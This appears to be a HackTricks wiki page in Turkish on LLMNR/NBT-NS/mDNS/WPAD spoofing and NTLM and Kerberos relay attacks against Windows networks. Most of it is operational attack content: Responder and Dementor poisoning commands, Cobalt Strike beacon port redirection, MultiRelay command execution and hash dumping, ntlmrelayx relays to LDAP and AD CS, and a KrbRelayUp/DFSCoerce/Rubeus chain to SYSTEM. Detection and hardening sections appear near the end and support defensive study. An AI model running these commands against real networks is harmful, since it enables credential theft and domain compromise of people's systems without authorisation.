Spoofing LLMNR, NBT-NS, mDNS/DNS ve WPAD ve Relay Attacks

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Network Protocols

Local Host Resolution Protocols

  • LLMNR, NBT-NS ve mDNS:
  • Microsoft ve diğer işletim sistemleri DNS başarısız olduğunda yerel ad çözümlemesi için LLMNR ve NBT-NS kullanır. Benzer şekilde, Apple ve Linux sistemleri mDNS kullanır.
  • Bu protokoller, UDP üzerinden kimlik doğrulaması olmayan, broadcast doğaları nedeniyle ele geçirilme ve spoofing’e açıktır.
  • Responder ve Dementor sahte yanıtlar göndererek bu protokolleri sorgulayan hostlara hizmet taklidi yapmak için kullanılabilir.
  • Responder kullanarak servis taklidi hakkında daha fazla bilgiye here adresinden ulaşılabilir.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD, tarayıcıların proxy ayarlarını otomatik olarak keşfetmesine olanak tanır.
  • Keşif DHCP veya DNS aracılığıyla sağlanır; DNS başarısız olursa LLMNR ve NBT-NS’e geri dönülür.
  • Responder, WPAD saldırılarını otomatikleştirerek istemcileri kötü amaçlı WPAD sunucularına yönlendirebilir.

Responder/Dementor for Protocol Poisoning

  • Responder, LLMNR, NBT-NS ve mDNS sorgularını zehirlemek için kullanılan bir araçtır; sorgu türlerine göre seçici yanıt vererek öncelikle SMB servislerini hedef alır.

  • Kali Linux’ta önceden yüklü gelir ve /etc/responder/Responder.conf üzerinden yapılandırılabilir.

  • Responder, yakalanan hashleri ekranda gösterir ve bunları /usr/share/responder/logs dizinine kaydeder.

  • Hem IPv4 hem IPv6’yı destekler.

  • Responder’ın Windows sürümü here adresinde mevcuttur.

  • Dementor, multicast zehirleme konusunu genişletir ve ayrıca rogue service provider olarak davranır (CUPS RCE desteği dahil).

  • Genel yapı Responder ile benzerdir ancak daha ayrıntılı yapılandırma sunar. (varsayılan burada: Dementor.toml)

  • Dementor ve Responder arasındaki uyumluluk burada verilmiştir: Compatibility Matrix

  • Tanıtım ve dokümantasyon burada: Dementor - Docs

  • Belirli protokollerde Responder tarafından oluşan yakalama sorunlarını düzeltir

Running Responder

  • Varsayılan ayarlarla Responder’ı çalıştırmak için: responder -I <Interface>
  • Daha agresif tarama için (potansiyel yan etkilere yol açabilir): responder -I <Interface> -P -r -v
  • NTLMv1 challenge/response yakalamayı kolaylaştırmak için yöntemler: responder -I <Interface> --lm --disable-ess
  • WPAD taklidini etkinleştirmek için: responder -I <Interface> --wpad
  • NetBIOS istekleri saldırganın IP’sine yönlendirilebilir ve bir authentication proxy kurulabilir: responder.py -I <interface> -Pv

Running Dementor

  • Varsayılan ayarlarla: Dementor -I <interface>
  • Analiz modunda varsayılan ayarlarla: Dementor -I <interface> -A
  • Otomatik NTLM session downgrade (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • Mevcut oturumu özel konfig ile çalıştırmak için: Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Spoofing DHCP yanıtları, kurbanın yönlendirme bilgisini kalıcı olarak zehirleyebilir ve ARP zehirlemeye göre daha gizli bir alternatif sunar.
  • Hedef ağın yapılandırması hakkında hassas bilgi gerektirir.
  • Saldırıyı çalıştırmak için: ./Responder.py -I eth0 -Pdv
  • Bu yöntem NTLMv1/2 hashlerini etkili şekilde yakalayabilir, ancak ağ kesintilerini önlemek için dikkatli kullanım gerektirir.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor, yukarıda bahsedilen protokolleri kullanarak servisleri taklit eder ve bir kullanıcı sahte servislere karşı kimlik doğrulaması yapmaya çalıştığında kimlik bilgilerini (genellikle NTLMv2 Challenge/Response) yakalar.
  • Kimlik bilgilerini daha kolay kırmak için NetNTLMv1’e düşürme veya ESS’i devre dışı bırakma girişimleri denenebilir.

If you already have a writable SMB share that victims browse, you can coerce outbound SMB without spoofing by planting UNC-based lure files (SCF/LNK/library-ms/desktop.ini/Office) generated with ntlm_theft, then catching the authentication with Responder. See the Explorer-triggered UNC lure workflow.

Bu tekniklerin kullanımıyla ilgili olarak, uygun yetkilendirme sağlanarak yasal ve etik çerçevede yapılmasının ve hizmet kesintisi ya da yetkisiz erişimden kaçınılmasının hayati önem taşıdığını unutmamak gerekir.

Inveigh

Inveigh, Windows sistemleri için tasarlanmış bir araç olup penetration testers and red teamers için uygundur. Responder’a benzer işlevler sunar; spoofing ve man-in-the-middle saldırıları gerçekleştirir. Araç, bir PowerShell scriptinden C# ikilisine evrilmiştir; ana sürümler Inveigh ve InveighZero olarak mevcuttur. Detaylı parametreler ve talimatlar wiki sayfasında bulunabilir.

Inveigh PowerShell üzerinden çalıştırılabilir:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Veya bir C# binary olarak çalıştırıldığında:

Inveigh.exe

NTLM Relay Attack

Bu saldırı, hedef makineye erişmek için SMB kimlik doğrulama oturumlarından yararlanır ve başarılı olursa sistem shell’i sağlar. Temel önkoşullar şunlardır:

  • Kimlik doğrulayan kullanıcının relayed host üzerinde Local Admin erişimine sahip olması gerekir.
  • SMB signing devre dışı bırakılmalıdır.

445 Port Yönlendirme ve Tünelleme

Doğrudan ağ bağlantısı kurulmasının mümkün olmadığı durumlarda, port 445 üzerindeki trafik yönlendirilmeli ve tünellenmelidir. PortBender gibi araçlar, port 445 trafiğini başka bir porta yönlendirmeye yardımcı olur; bu, sürücü yükleme için Local Admin erişimi mevcut olduğunda hayati öneme sahiptir.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack için Diğer Araçlar

  • Metasploit: proxy’lar, yerel ve uzak host detayları ile yapılandırılır.
  • smbrelayx: SMB oturumlarını relay etmek ve komut çalıştırmak veya backdoors deploy etmek için bir Python scripti.
  • MultiRelay: Responder suite’indan belirli kullanıcıları veya tüm kullanıcıları relay etmek, komut çalıştırmak veya hash’leri dump etmek için bir araç.

Gerekirse her araç SOCKS proxy üzerinden çalışacak şekilde yapılandırılabilir; bu, dolaylı ağ erişimi olsa bile saldırılara olanak tanır.

MultiRelay İşleyişi

MultiRelay, belirli IP’leri veya kullanıcıları hedef alacak şekilde /usr/share/responder/tools dizininden çalıştırılır.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

RelayKing – relayable hedef keşfi ve derlenmiş relay listeleri

RelayKing, NTLM relay için bir açıklık denetleyicisidir ve releylerin nerede kullanılabilir olduğunu haritalar ve ntlmrelayx.py -tf için kullanıma hazır hedef listeleri üretir. Protokol sertleştirmesini kontrol eder (SMB signing/channel binding; HTTP/HTTPS/MSSQL/LDAP/LDAPS EPA/CBT; RPC auth) ve coercion/reflection helpers (PetitPotam/PrinterBug/DFSCoerce, WebClient/WebDAV, NTLMv1, CVE-2025-33073 reflection) işaretler.

  • Kimlik doğrulama, HTTPS/LDAPS CBT ve MSSQL EPA kontrollerinin güvenilirliğini artırır; SMB signing/signature seviyesi kimlik doğrulaması olmadan test edilir.
  • Protokoller arası relay yolları, doğrulanmış Net-NTLMv1 (--ntlmv1/--ntlmv1-all) bulgularından yararlanır; her yol için bir şiddet sıralaması verilir.
  • --gen-relay-list <file> deneme-yanılmayı önlemek için ntlmrelayx.py -tf <file> için grep-dostu bir hedef listesi yazar.
  • --coerce-all tüm hedeflere karşı PetitPotam/DFSCoerce/PrinterBug’ı toplu olarak tetikler; --ntlmv1-all (RemoteRegistry) ve --audit (domain-geneli LDAP host çekme) noisydir ve birçok oturum açma/uzaktan erişim üretir.
  • --proto-portscan kapalı portları atlayarak taramayı hızlandırır; --krb-dc-only DC’ler NTLM’i engellediğinde ancak diğer servisler hala kabul ettiğinde yardımcı olur.

Example sweeps:

# Authenticated audit across multiple protocols + generate relay list for ntlmrelayx
python3 relayking.py -u lowpriv -p 'P@ssw0rd!' -d lab.local --dc-ip 10.0.0.10 \
--audit --protocols smb,ldap,ldaps,mssql,http,https --proto-portscan --ntlmv1 \
--threads 10 -vv -o plaintext,json --output-file relayking-scan --gen-relay-list relaytargets.txt

# Unauthenticated CIDR sweep for SMB/LDAP/HTTP relayability
python3 relayking.py --null-auth --protocols smb,ldap,http --proto-portscan -o plaintext 10.10.0.0/24

Bu araçlar ve teknikler, çeşitli ağ ortamlarında NTLM Relay saldırıları gerçekleştirmek için kapsamlı bir set oluşturur.

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS istemcileri güncelleme sunucusuna NTLM ile HTTP (8530) veya HTTPS (8531) üzerinden kimlik doğrular. HTTP etkin olduğunda, periyodik istemci check-in’leri yerel segmentte zorlanabilir veya yakalanabilir ve ntlmrelayx ile LDAP/LDAPS/SMB veya AD CS HTTP uç noktalarına (ESC8) herhangi bir hash kırma olmadan iletilebilir. Bu normal güncelleme trafiğine karışır ve sıklıkla makine hesabı kimlik doğrulamaları (HOST$) sağlar.

Neye bakılmalı

  • HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate ve …\WindowsUpdate\AU altında GPO/kayıt defteri yapılandırması:
  • WUServer (ör. http://wsus.domain.local:8530)
  • WUStatusServer (raporlama URL’si)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled ve DetectionFrequency (saat)
  • İstemcilerin HTTP üzerinden kullandığı WSUS SOAP uç noktaları:
  • /ClientWebService/client.asmx (onaylar)
  • /ReportingWebService/reportingwebservice.asmx (durum)
  • Varsayılan portlar: 8530/tcp HTTP, 8531/tcp HTTPS

Keşif

  • Kimlik doğrulamasız
  • Dinleyiciler için tarama: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • L2 MITM ile HTTP WSUS trafiğini sniff edin ve aktif istemcileri/uç noktaları wsusniff.py ile kaydedin (TLS sertifikanızı istemcilerin güvenmesi dışında HTTP ile sınırlıdır).
  • Kimlik doğrulamalı
  • MANSPIDER + regpol ile SYSVOL GPO’larını WSUS anahtarları için ayrıştırın (wsuspider.sh sarmalayıcısı WUServer/WUStatusServer/UseWUServer’ı özetler).
  • Hostlardan (NetExec) veya yerel olarak uç noktaları ölçekli sorgulayın: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

Uçtan uca HTTP relay adımları

  1. MITM için konumlanın (aynı L2) böylece bir istemci WSUS sunucusunu size çözer (ARP/DNS zehirleme, Bettercap, mitm6 vb.). arpspoof örneği: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Port 8530’ı relay dinleyicinize yönlendirin (isteğe bağlı, kullanışlı): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. HTTP dinleyicisi ile ntlmrelayx başlatın (HTTP dinleyici için Impacket desteği gerekir; aşağıdaki PR’lere bakın): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Diğer yaygın hedefler:

  • SMB’ye relay (signing kapalıysa) exec/dump için: -t smb://
  • LDAPS’e relay dizin değişiklikleri için (ör. RBCD): -t ldaps://
  • AD CS web enrollment’a (ESC8) relay ederek bir sertifika düzenleyip sonra Schannel/PKINIT ile kimlik doğrulama: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server Daha derin AD CS kötüye kullanım yolları ve araçlar için AD CS sayfasına bakın:

AD CS Domain Escalation

  1. Bir istemci check-in’i tetikleyin ya da zamanlamayı bekleyin. Bir istemciden: wuauclt.exe /detectnow veya Windows Update UI’ini (Check for updates) kullanın.

  2. Kimlik doğrulanmış SOCKS oturumlarını kullanın (eğer -socks ise) veya doğrudan relay sonuçlarını post-exploitation için kullanın (LDAP değişiklikleri, SMB işlemleri veya ileride kimlik doğrulama için AD CS sertifika düzenlemesi).

HTTPS kısıtı (8531)

  • WSUS HTTPS pasif olarak ele geçirilemez, istemciler sertifikanıza güvenmediği sürece etkisizdir. Güvenilen bir sertifika veya başka bir TLS kırma yöntemi yoksa, WSUS HTTPS trafiğinden NTLM el sıkışması elde edilemez/relay yapılamaz.

Notlar

  • WSUS kullanımdan kalkacağı duyurulmuş olsa da yaygın şekilde konuşlandırılmaya devam ediyor; HTTP (8530) birçok ortamda hâlâ yaygın.
  • Faydalı yardımcılar: wsusniff.py (HTTP WSUS check-in’lerini gözlemleme), wsuspider.sh (GPO’lardan WUServer/WUStatusServer’ı listeleme), NetExec reg-query ölçekli sorgu.
  • Impacket, ntlmrelayx için HTTP dinleyici desteğini PR #2034 ile geri ekledi (ilk olarak PR #913 ile eklenmişti).

Force NTLM Logins

Windows’da bazı ayrıcalıklı hesapları tesadüfi makinelere kimlik doğrulamaya zorlayabilmeniz mümkün olabilir. Nasıl yapılacağını öğrenmek için aşağıdaki sayfayı okuyun:

Force NTLM Privileged Authentication

Kerberos Relay attack

Bir Kerberos relay attack, bir servisten bir AP-REQ biletini çalar ve aynı computer-account key’i paylaşan ikinci bir servise yeniden kullanır (çünkü her iki SPN aynı $ makine hesabında bulunur). Bu, SPN’lerin service class’ları farklı olsa bile (ör. CIFS/LDAP/) işe yarar çünkü bileti çözen anahtar makinenin NT hash’idir; SPN string’i kendisi değil ve SPN string’i imzanın bir parçası değildir.

NTLM relay’in aksine, bu atlama aynı host ile sınırlıdır; ancak LDAP’a yazmanıza izin veren bir protokolü hedeflerseniz, bunu Resource-Based Constrained Delegation (RBCD) veya AD CS enrollment ile zincirleyebilir ve tek seferde NT AUTHORITY\SYSTEM elde edebilirsiniz.

Bu saldırı hakkında ayrıntılı bilgi için bakın:

TokenAmaçRelay ile ilgisi
TGT / AS-REQ ↔ REPKullanıcıyı KDC’ye kanıtlardokunulmaz
Service ticket / TGS-REQ ↔ REPTek bir SPN’e bağlıdır; SPN sahibinin anahtarıyla şifrelenirSPN’ler hesabı paylaşıyorsa birbirinin yerine kullanılabilir
AP-REQİstemci TGS’yi servise gönderirbizim çaldığımız & yeniden oynattığımız şey
  • Biletler SPN’e sahip hesabın paroladan türetilmiş anahtarıyla şifrelenir.
  • AP-REQ içindeki Authenticator 5 dakikalık bir zaman damgasına sahiptir; bu pencere içinde yeniden oynatma, servis önbelleği bir kopyayı görene kadar geçerlidir.
  • Windows nadiren bilet içindeki SPN string’inin vurduğunuz servisle eşleşip eşleşmediğini kontrol eder; bu yüzden CIFS/HOST için bir bilet genellikle LDAP/HOST üzerinde sorunsuz şekilde çözülebilir.
    1. What must be true to relay Kerberos
  1. Shared key: kaynak ve hedef SPN’ler aynı makine hesabına (computer account) ait olmalı (Windows sunucularında varsayılan).
  2. No channel protection: SMB/LDAP signing kapalı ve HTTP/LDAPS için EPA kapalı.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM vb.
  4. Ticket source not already used: gerçek paket gelmeden önce yarışı kazanmalı ya da tamamen engellemelisiniz; aksi halde sunucunun replay cache’i Event 4649 tetikler.
  5. Bir şekilde iletişimde MitM gerçekleştirebiliyor olmalısınız — ör. domain DNS’ini değiştirebilmek için DNSAdmins grubunun bir parçası olmak veya hedefin HOST dosyasını değiştirebilmek gibi.

Kerberos Relay Steps

  • 3.1 Host’u keşfet
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 Relay listener’ı başlatın

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp tek bir binary içinde KrbRelay → LDAP → RBCD → Rubeus → SCM bypass olarak paketler.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce, DC’nin bize bir Kerberos CIFS/DC01 bileti göndermesini sağlar.

  • 3.4 AP-REQ’i ilet

KrbRelay, GSS blob’unu SMB’den çıkarır, bunu bir LDAP bindine yeniden paketler ve ldap://DC01’e iletir — kimlik doğrulama, aynı anahtar tarafından çözüldüğü için başarılı olur.

  • 3.5 LDAP’i kötüye kullan ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Artık NT AUTHORITY\SYSTEM sahibisiniz.

Bilmeniz gereken diğer yollar

VectorTrickWhy it matters
AuthIP / IPSecSahte sunucu herhangi bir SPN ile GSS-ID payload gönderir; istemci doğrudan size bir AP-REQ oluştururAlt ağlar arasında bile çalışır; varsayılan olarak machine creds
DCOM / MSRPCKötü amaçlı OXID resolver istemciyi rastgele bir SPN ve porta auth etmeye zorlarTamamen local priv-esc; firewall’ı atlar
AD CS Web EnrollRelay machine ticket to HTTP/CA and get a cert, then PKINIT to mint TGTsLDAP signing savunmalarını atlar
Shadow CredentialsmsDS-KeyCredentialLink yazın, sonra PKINIT ile sahte anahtar çifti kullanınBilgisayar hesabı eklemeye gerek yok

Sorun Giderme

HataAnlamıÇözüm
KRB_AP_ERR_MODIFIEDTicket key ≠ target keyYanlış host/SPN
KRB_AP_ERR_SKEWSaat > 5 dk sapmaZamanı senkronize edin veya w32tm kullanın
LDAP bind failsSigning uygulanıyorAD CS yolunu kullanın veya signing’i devre dışı bırakın
Event 4649 spamServis duplicate Authenticator gördüOrijinal paketi engelle veya orijinal paketle yarış (race)

Tespit

  • Aynı kaynaktan saniyeler içinde CIFS/, HTTP/, LDAP/ için Event 4769 artışı.
  • Serviste Event 4649 olması replay tespit edildiğini gösterir.
  • 127.0.0.1 üzerinden yapılan Kerberos logonları (local SCM’ye relay) son derece şüphelidir — KrbRelayUp belgelerindeki Sigma kuralıyla eşleyin.
  • msDS-AllowedToActOnBehalfOfOtherIdentity veya msDS-KeyCredentialLink özniteliklerindeki değişiklikleri izleyin.

Sertleştirme

  1. Enforce LDAP & SMB signing + EPA her sunucuda zorunlu kılın.
  2. SPN’leri ayırın böylece HTTP, CIFS/LDAP ile aynı hesapta olmaz.
  3. Coercion vektörlerini yamalayın (PetitPotam KB5005413, DFS, AuthIP).
  4. Kötü amaçlı bilgisayar katılmalarını durdurmak için ms-DS-MachineAccountQuota = 0 olarak ayarlayın.
  5. Event 4649 ve beklenmeyen loopback Kerberos oturumları için uyarı oluşturun.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin